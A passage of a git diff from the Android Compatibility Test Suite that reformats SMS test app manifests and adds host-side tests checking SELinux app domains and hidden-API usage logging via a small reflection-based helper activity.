+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app7/AndroidManifest.xml b/hostsidetests/appbinding/app/app7/AndroidManifest.xml
index e0a3e9d..3e173e2 100644
--- a/hostsidetests/appbinding/app/app7/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app7/AndroidManifest.xml
@@ -15,73 +15,76 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE"
-            android:enabled="false">
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE"
+             android:enabled="false">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/appb/AndroidManifest.xml b/hostsidetests/appbinding/app/appb/AndroidManifest.xml
index fac204e..4b6499e 100644
--- a/hostsidetests/appbinding/app/appb/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/appb/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app.b" >
+     package="com.android.cts.appbinding.app.b">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name="com.android.cts.appbinding.app.MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name="com.android.cts.appbinding.app.MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name="com.android.cts.appbinding.app.MySendToActivity">
+        <activity android:name="com.android.cts.appbinding.app.MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name="com.android.cts.appbinding.app.sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.cts.appbinding.app.sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name="com.android.cts.appbinding.app.sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp b/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp
new file mode 100644
index 0000000..e926a75
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp
@@ -0,0 +1,53 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library_static {
+    name: "selinux_app_empty",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "CtsSelinuxQCompatApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["selinux_app_empty"],
+    manifest: "AndroidManifest_Q.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSelinuxRCompatApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["selinux_app_empty"],
+    manifest: "AndroidManifest_R.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml
new file mode 100644
index 0000000..5a6c1d3
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.selinux_app">
+    <uses-sdk android:targetSdkVersion="29"/>
+    <application
+        android:debuggable="true">
+         <activity android:name=".Empty"
+         android:exported="true" />
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.appcompat.selinux_app" />
+
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml
new file mode 100644
index 0000000..0fecd4f
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.selinux_app">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application
+        android:debuggable="true">
+         <activity android:name=".Empty"
+         android:exported="true" />
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.appcompat.selinux_app" />
+
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java b/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java
new file mode 100644
index 0000000..a350bc0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appcompat.selinux_app;
+
+import android.app.Activity;
+
+public class Empty extends Activity {
+
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
new file mode 100644
index 0000000..1006c47
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
+ */
+
+public class CompatChangesSelinuxTest extends CompatChangeGatingTestCase {
+
+    protected static final String Q_TEST_APK = "CtsSelinuxQCompatApp.apk";
+    protected static final String R_TEST_APK = "CtsSelinuxRCompatApp.apk";
+
+    protected static final String TEST_PKG = "com.android.cts.appcompat.selinux_app";
+
+    private static final long SELINUX_LATEST_CHANGES = 143539591L;
+    private static final long SELINUX_R_CHANGES = 168782947L;
+
+    private static final Pattern PS_ENTRY_PATTERN = Pattern.compile("^(?<label>\\S+)\\s+(?<name>\\S+)");
+
+
+    public void testTargetSdkQAppIsInQDomainByDefault() throws Exception {
+        installPackage(Q_TEST_APK, false);
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app_29");
+        } finally {
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkQAppIsInLatestDomainWithLatestOptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_LATEST_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+        final long configId = getClass().getCanonicalName().hashCode();
+
+        installPackage(Q_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkQAppIsInRDomainWithROptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_R_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+
+        installPackage(Q_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+            // TODO(b/168782947): Update domain if/when an R specific one is created to
+            // differentiate from untrusted_app.
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkRAppIsInRDomainByDefault() throws Exception {
+        installPackage(R_TEST_APK, false);
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+        } finally {
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkRAppIsInLatestDomainWithLatestOptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_LATEST_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+        installPackage(R_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    private Map<String, String> getPackageToDomain() throws Exception {
+        Map<String, String> packageToDomain = new HashMap<>();
+        String output = getDevice().executeShellCommand("ps -e -o LABEL,NAME");
+        String[] lines = output.split("\n");
+        for (int i = 1; i < lines.length; ++i) {
+            String line = lines[i];
+            Matcher matcher = PS_ENTRY_PATTERN.matcher(line);
+            if (!matcher.matches())
+                continue;
+            String label = matcher.group("label");
+            String domain = label.split(":")[2];
+            String packageName = matcher.group("name");
+            packageToDomain.put(packageName, domain);
+        }
+        return packageToDomain;
+    }
+
+    private void startApp() throws Exception {
+        runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty");
+        Thread.currentThread().sleep(100);
+    }
+
+
+}
diff --git a/hostsidetests/appcompat/hiddenapi/Android.bp b/hostsidetests/appcompat/hiddenapi/Android.bp
new file mode 100644
index 0000000..6b95d09
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsHostsideHiddenapiTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/hiddenapi/AndroidTest.xml b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
new file mode 100644
index 0000000..6064214
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS hiddenapi host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsHostsideHiddenapiTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/appcompat/hiddenapi/app/Android.bp b/hostsidetests/appcompat/hiddenapi/app/Android.bp
new file mode 100644
index 0000000..78093aa
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsHiddenApiApp",
+    defaults: ["cts_defaults"],
+    min_sdk_version: "24",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml b/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml
new file mode 100644
index 0000000..9454b60
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.compat.hiddenapi.cts"
+     android:versionCode="10">
+
+    <application android:label="@string/app_name">
+        <activity android:name=".HiddenApiUsedActivity"
+             android:exported="true"/>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.server.cts.device.statsd"
+         android:label="CTS tests of android.os.statsd stats collection">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml b/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml
new file mode 100644
index 0000000..833f90e
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="app_name">CTS HiddenApi App</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java b/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java
new file mode 100644
index 0000000..f4bd128
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.hiddenapi.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.reflect.Field;
+
+
+public class HiddenApiUsedActivity extends Activity {
+    /** Called when the activity is first created. */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            Field field = Activity.class.getDeclaredField("mWindow");
+            field.setAccessible(true);
+            Object object = field.get(this);
+        } catch(NoSuchFieldException e) {
+        } catch(IllegalAccessException e) {
+        }
+        finish();
+    }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java b/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java
new file mode 100644
index 0000000..16df276
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.compat.hiddenapi.cts;
+
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.HiddenApiUsed;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+
+import java.util.List;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+
